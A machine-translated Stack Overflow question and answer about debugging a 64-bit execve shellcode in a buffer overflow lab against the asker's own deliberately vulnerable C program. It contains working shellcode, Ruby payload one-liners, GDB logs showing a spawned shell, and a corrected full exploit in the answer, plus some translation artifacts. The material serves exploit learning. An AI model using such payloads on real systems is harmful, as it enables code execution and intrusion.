shellcode中的Syscall不会运行

时间:2015-07-28 00:07:59

标签: c shell security assembly buffer-overflow

注意:我已经在Stackoverflow中用葡萄牙语语言https://pt.stackoverflow.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa提出了这个问题。但这似乎是一个非常难的问题,所以这个问题只是葡萄牙语问题的翻译。

我正在研究信息安全并尝试利用经典的缓冲区溢出案例。

我成功创建了 shellcode ,它在易受攻击的程序内部及其执行中注入。我的问题是到execve()的系统调用来获取shell不起作用。

更多细节:

这是易受攻击的程序的代码(在Ubuntu 15.04 x88-64中编译,带有以下gcc标志:" -fno-stack-protector -z execstack -g"并且ASLR已转向关):

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

这是一个小型程序集程序,它会生成一个shell然后退出。 请注意,此代码将独立运行。这是:如果我单独组装,链接和运行此代码,它将起作用。

global _start

section .text
_start:
    jmp short push_shell
starter:
    pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

这是上述程序的 objdump -d -M intel 的输出,其中shellcode是从中提取的(注意:输出的语言是葡萄牙语):

spawn_shell.o: formato do arquivo elf64-x86-64

Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

此命令将是有效负载,它将shellcode与所需的nop sleed以及将覆盖原始返回地址的返回地址一起注入:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

到目前为止,我已经调试了我的程序,并且非常小心地注入了shellcode,注意RIP寄存器查看执行错误的位置。我发现了:

  • 正确覆盖了返回地址,执行跳转到我的shellcode。
  • 执行顺利,直到&#34; e:&#34;我的汇编程序的一行,系统调用发生在execve()
  • 即使正确设置了寄存器进行系统调用,系统调用也无法正常工作。奇怪的是,在这一行之后,RAX和RCX寄存器位都被设置好了。

结果是执行转到非条件跳转,再次推送shell的地址,并且无限循环开始直到程序在SEGFAULT中崩溃。

这是主要问题:系统调用无法正常工作。

一些注意事项:

  • 有人会说我的&#34; / bin / sh&#34;字符串需要以null结尾。嗯,似乎没有必要,nasm似乎隐含地放置了一个空字节,并且我的汇编程序正如我所说的那样工作。
  • 记住它是一个64位的shellcode。
  • 此shellcode的工作原理如下:

    char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
    
    int main() {
        void (*func)();
        func = (void (*)()) shellcode;
        (void)(func)();
    }
    

我的shellcode出了什么问题?

编辑1:

感谢Jester的回答,第一个问题得到了解决。另外,我发现shellcode不需要单独工作。 shellcode的新汇编代码是:

spawn_shell: formato do arquivo elf64-x86-64


Desmontagem da seção .text:

0000000000400080 <_start>:
  400080:   eb 1e                   jmp    4000a0 <push_shell>

0000000000400082 <starter>:
  400082:   5f                      pop    %rdi
  400083:   48 31 c0                xor    %rax,%rax
  400086:   88 47 07                mov    %al,0x7(%rdi)
  400089:   b0 3b                   mov    $0x3b,%al
  40008b:   48 31 f6                xor    %rsi,%rsi
  40008e:   48 31 d2                xor    %rdx,%rdx
  400091:   48 31 c9                xor    %rcx,%rcx
  400094:   0f 05                   syscall 
  400096:   48 31 c0                xor    %rax,%rax
  400099:   48 31 ff                xor    %rdi,%rdi
  40009c:   b0 3c                   mov    $0x3c,%al
  40009e:   0f 05                   syscall 

00000000004000a0 <push_shell>:
  4000a0:   e8 dd ff ff ff          callq  400082 <starter>
  4000a5:   2f                      (bad)  
  4000a6:   62                      (bad)  
  4000a7:   69                      .byte 0x69
  4000a8:   6e                      outsb  %ds:(%rsi),(%dx)
  4000a9:   2f                      (bad)  
  4000aa:   73 68                   jae    400114 <push_shell+0x74>

如果我汇编并链接它,它将无法工作,但如果将其作为有效载荷注入另一个程序,它将会!为什么?因为如果我单独运行这个程序,它将尝试终止已经为NULL的终止字符串&#34; / bin / sh&#34;。即使对于汇编程序,操作系统似乎也进行了初始设置。但是,如果我注入shellcode,情况就不是这样了:我的系统调用没有成功的真正原因是&#34; / bin / sh&#34; string在运行时没有以NULL结尾,但它作为一个独立程序工作,因为在这种情况下,它被NULL终止。

因此,shellcode运行正常,因为独立程序不能证明它有效。

开发成功了......至少在GDB中。现在我遇到了一个新问题:漏洞利用在GDB内部,但不在它之外。

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof    bof2.c  bof3_env      bof3_new_shellcode.txt bof3_shellcode.txt  get_shell     shellcode_exit    shellcode_hello.c  shellcode_shell2
bof.c  bof3    bof3_env.c    bof3_non_dbg        func_stack      get_shell.c      shellcode_exit.c  shellcode_shell    shellcode_shell2.c
bof2   bof3.c  bof3_gdb_env  bof3_run_env        func_stack.c    shellcode_bof.c  shellcode_hello   shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb) 

外面:

$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)

我立即搜索了它并发现了这个问题:Buffer overflow works in gdb but not without it

最初我认为只是未设置两个环境变量并发现一个新的返回地址,但未设置两个变量没有产生最小的差异:

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$ 

所以现在,这是第二个问题:为什么漏洞利用在GDB内部但不在它之外?

1 个答案:

答案 0 :(得分:3)

问题是mov al,0x3b。您忘记将顶部位置为零,因此如果它们不是零,则不会执行execve系统调用,而是执行其他操作。简单的调试应该指出这一点。解决方案很简单:只需在此之前插入xor eax, eax。此外,由于您将返回地址附加到您的漏洞利用,因此该字符串将不再为零终止。通过在清除mov [rdi + 7], al之后使用例如eax在运行时存储零值,它也很容易修复。

完整的漏洞可能看起来像:

ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

初始部分对应于:

    jmp short push_shell
starter:
    pop rdi
    xor eax, eax
    mov [rdi + 7], al
    mov al, 59

请注意,由于代码大小更改,最后jmpcall的偏移量也必须更改,nop指令的数量也会更改。

上面的代码(为我的系统调整了返回地址)在这里工作正常。

相关问题